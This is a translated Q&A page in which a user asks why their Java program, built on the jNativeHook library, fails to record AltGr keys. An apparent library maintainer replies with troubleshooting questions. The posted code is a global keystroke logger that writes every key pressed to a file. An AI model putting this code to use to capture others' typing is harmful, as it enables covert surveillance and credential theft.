2016-12-22 109 views
0

它仅用于测试目的。altgr不能与jnativehook一起使用?

我试图改变代码的一些部分,并阅读api文档。 开始时我添加了“typedC + = e.getKeyChar();”它看起来像登录altgr键,但后来不再了。

如何更改它让工作altgr键?

感谢

import java.io.BufferedWriter; 
    import java.io.File; 
    import java.io.FileNotFoundException; 
    import java.io.FileWriter; 
    import java.io.IOException; 
    import java.util.logging.Level; 
    import java.util.logging.LogManager; 
    import java.util.logging.Logger; 
    import javax.swing.JFileChooser; 
    import org.jnativehook.GlobalScreen; 
    import org.jnativehook.NativeHookException; 
    import org.jnativehook.keyboard.NativeKeyEvent; 
    import org.jnativehook.keyboard.NativeKeyListener; 

    public class JkL implements NativeKeyListener { 
    private String typedC = ""; 
    private String typedC1 = ""; 
    private final JFileChooser fc = new JFileChooser(); 
    private File direc; 

    private void openFchooser1() throws FileNotFoundException, 
    InterruptedException, IOException, Exception { 
    Thread.sleep(2000); 
    int returnVal = fc.showDialog(null, "Choose a Logfile"); 
    if(returnVal == JFileChooser.APPROVE_OPTION) { 
     direc = fc.getSelectedFile(); 
    } 
/* Construct the example object and initialze native hook. */ 
    GlobalScreen.addNativeKeyListener(new Kl()); 
    try { 
     /* Register jNativeHook */ 
     GlobalScreen.registerNativeHook(); 
    } catch (NativeHookException ex) { 
     /* Its error */ 
     System.err.println("There was a problem registering the native 
     hook."); 
     System.err.println(ex.getMessage()); 
     System.exit(1); 
    } 

    // Clear previous logging configurations. 
     LogManager.getLogManager().reset(); 

    // Get the logger for "org.jnativehook" and set the level to off. 
     Logger logger = 
     Logger.getLogger(GlobalScreen.class.getPackage().getName()); 
     logger.setLevel(Level.OFF); 
} 

@Override 
public void nativeKeyPressed(NativeKeyEvent nke) { 
    throw new UnsupportedOperationException("Not supported yet."); //To 
    change body of generated methods, choose Tools | Templates. 
} 

@Override 
public void nativeKeyReleased(NativeKeyEvent nke) { 
    throw new UnsupportedOperationException("Not supported yet."); //To 
     change body of generated methods, choose Tools | Templates. 
} 

@Override 
public void nativeKeyTyped(NativeKeyEvent nke) { 
    throw new UnsupportedOperationException("Not supported yet."); //To 
     change body of generated methods, choose Tools | Templates. 
} 
class Kl extends JkL {  
    /* Key Pressed */ 
    @Override 
    public void nativeKeyPressed(NativeKeyEvent e) { 
    //typedC += NativeKeyEvent.getKeyText(e.getKeyCode()); 
    typedC += e.getRawCode(); 
    typedC += e.getKeyChar(); 
    typedC += e.getKeyCode(); 
    try { 
     writeToFile(typedC); 
    } catch (IOException ex) { 
     Logger.getLogger(JkL.class.getName()).log(Level.SEVERE, null, 
      ex); 
    } 
    /* Terminate program when one press ESCAPE */ 
    if (e.getKeyCode() == NativeKeyEvent.VC_F12) { 
     try { 
      GlobalScreen.unregisterNativeHook(); 
     } catch (NativeHookException ex) { 
      Logger.getLogger(JkL.class.getName()).log(Level.SEVERE, 
      null, ex); 
      } 
     } 
     } 

    @Override 
    public void nativeKeyReleased(NativeKeyEvent e) { 
    //System.out.println("Key Released: " + 
     //NativeKeyEvent.getKeyText(e.getKeyCode())); 
    } 

/* I can't find any output from this call */ 
@Override 
public void nativeKeyTyped(NativeKeyEvent e) { 
    //typedC1 += NativeKeyEvent.getKeyText(e.getKeyCode()); 
    typedC1 += e.getRawCode(); 
    typedC1 += e.getKeyChar(); 
    typedC1 += e.getKeyCode(); 
    try { 
     writeToFile(typedC1); 
    } catch (IOException ex) { 
     Logger.getLogger(JkL.class.getName()).log(Level.SEVERE, null, 
      ex); 
     } 
     } 
    } 
    private void writeToFile(String ln) throws IOException { 
    //System.out.println(direc); 
    FileWriter fw = new FileWriter(direc); 
    try (BufferedWriter bw = new BufferedWriter(fw)) { 
    bw.write(ln); 
    bw.newLine(); 
    bw.flush(); 
    } 
    } 
     public static void main(String[] args) throws 
      IOException,InterruptedException, Exception { 
     new JkL().openFchooser1(); 
    } 
    } 

回答

0

什么操作系统?在Linux上有2.0的一些已知问题,但它们将在2.1中得到修复。如果还有其他问题,您可能需要报告一个错误。请包括您确切的键盘布局,型号和语言。还提供了有关按下什么键,观察到的行为和预期行为的详细信息。我只知道如何使用美式键盘,所以我不确定所有的Alt-Gr语言/区域特定键,蒙版和锁都是如何工作的。

+0

在windows 7 professional上,键盘布局和语言是瑞士德语。我试图只使用getKeyChar(),它使用altgr记录除键外的所有内容。当我使用getRawCode()或getKeyCode()时,它会记录数字或几个?或者不知道键码。 –

+0

由alt-gr影响的唯一键可能会成为键入字符的关键字。原始代码是本地代码,在alt-gr之间可能也是一样的。 –

+0

无论如何,您可以通过电子邮件向我发送键盘图片吗?请指出alt-gr键。 –

相关问题